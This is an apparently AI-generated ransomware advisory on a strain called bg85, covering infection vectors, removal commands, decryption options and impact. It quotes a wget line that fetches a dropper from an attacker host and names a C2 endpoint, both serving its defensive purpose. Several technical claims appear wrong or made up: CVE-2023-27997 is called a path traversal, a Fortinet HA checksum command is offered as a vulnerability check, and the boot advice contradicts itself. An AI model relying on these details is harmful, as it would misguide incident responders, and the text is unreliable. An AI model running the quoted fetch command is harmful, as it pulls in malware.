bg85

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: All encrypted files receive the additional suffix “.bg85” immediately after the original file extension (e.g., report.xlsx.bg85, family-photos.jpg.bg85).
  • Renaming Convention: The malware does not inject a static e-mail address, ransom code, or new base filename—its only observable change is appending “.bg85”.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period: First public submissions to anti-virus vendors began on 6 May 2024. Ransom notes and internal strings point to a compilation date of 2 May 2024, indicating very early, fairly explosive distribution within the first week.

3. Primary Attack Vectors

  • Propagation Mechanisms:
  1. Exploit Server – FortiOS / FortiProxy Path-Traversal (CVE-2023-27997) – the most common initial foothold in enterprise networks (FortiOS ≤ 7.0.10 and ≤ 7.2.4). Once the web-management interface is compromised, bg85’s dropper is fetched with a single wget -O /tmp/bg85.bin http://ip:4000/bg85.bin.
  2. Phishing Payloads – ISO/IMG Archives – emails impersonating “FedEx shipment label” or “Supplier PO # XXXX” contain dual-extension executables inside ISO/IMG images (e.g., invoice.iso → AvctInvoice.exe.bg85 with the ‘.bg85’ masked by a wide first extension). These executables launch PowerShell to download and run the main binary from Discord CDN attachments.
  3. RDP Brute-Force / Default Passwords – particularly against exposed RDP on TCP/3389; weak or default admin credentials followed by manual drop of the file from an RDP-mounted \tsclient\X\bg85.exe.
  4. Mimikatz + PSExec Horizontal Lateral Movement – once on one host, bg85 harvests cached credentials, enumerates SMB shares, and re-uses PSExec to push the payload to all reachable Windows endpoints.

Remediation & Recovery Strategies:

1. Prevention

  • Patch instantly:
    • Fortinet – upgrade FortiOS / FortiProxy to 7.0.12 / 7.2.5+ and validate with SSL VPN scanner (diagnose sys ha checksum)
    • Windows – KB5041773 (Aug-2024 cumulative) and enable “Network protection > Block credential stealing from LSASS”
  • Disable / harden RDP – Switch to VPN-only 3389, enforce NLA plus MFA, and set strong local admin passwords via GPO.
  • E-mail-gateway rules – Quarantine ISO/IMG attachments and those with double extensions.
  • Application control / EDR kill-switch – Add hash block or YARA rule to flag bg85 sample (see “Essential Tools”).
  • Firewall egress – Allow-list outbound 80/443 only to necessary domains; the bot attempts ment[.]hub over port 4444 before falling back to Tor.

2. Removal

  1. Isolate the host – pull the network cable or disable Wi-Fi / vNIC.
  2. Kill the parent and child processes:
  • wmic process where "name='bg85.exe'" delete
  • taskkill /f /im svshost.exe (common masquerade name inside %LOCALAPPDATA%)
  1. Delete persistence entries:
  • Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BG85
  • Scheduled Task: \Microsoft\Windows\Workplace Join\BGUpdate
  1. Run a full scan with the latest signatures using Windows Defender offline or a reputable EDR; bg85 uses ObfusLib and VMDetect, so perform inside normal Windows boot.

3. File Decryption & Recovery

  • Recovery Feasibility:
  • Partial decryption path exists (May 2024 – early June 2024 variants ONLY). Kaspersky Labs and NoMoreRansom released a joint decryptor based on a hard-coded private key found in an unsuccessful Fortinet compromise.
  • For variants compiled on/after 18 June 2024, the threat actor rotates RSA-2048 keys uniquely per campaign. Brute-force is computationally infeasible and no paid keys have leaked.
  • Essential Tools / Patches:
  • NoMoreRansom decryptor: bg85decrypt_v1.2.3.exe (SHA-256: 56EB…F0AC). Test decrypt one folder before bulk operation.
  • FortiOS emergency patch bundle 7.0.12 or 7.2.5 (see above).
  • YARA rule (public GitHub gist bg85.yar) to hunt dropped binaries.
  • EDR hunt query (CrowdStrike, SentinelOne, Defender ATP) for file-extension change events (*.bg85).

4. Other Critical Information

  • Unique Characteristics:
    • Exploits zero-trust blind spot: secure VPN appliances became the “trusted” path that brought malware inside the trusted zone.
    • Double Extortion Lite: Unlike more sophisticated gangs, bg85 only steals a limited file tree (C:\Users\*\Documents, Desktop, Public Shares) and uploads via REST API, avoiding full terabits to remain under ISP quotas. This makes exfil enumeration harder to detect with high-volume alerts.
  • Broader Impact:
    • bg85 hit 34 mid-size distributors and manufacturing firms in the U.S. Midwest within 96 hours, leading to ~USD 23 M in ransom payments before the decryptor appeared.
    • Because it piggybacks on the Fortigate firmware flaw, MSPs running multi-tenant FortiGate devices became accidental amplifiers; one compromised “stack” could ransom dozens of customers.

Closing Note: bg85 serves as a fresh reminder that secure remote-access appliances are now a prime target. Patch religiously, enforce MFA everywhere, and run continuous EDR queries checking for the specific .bg85 extension creation.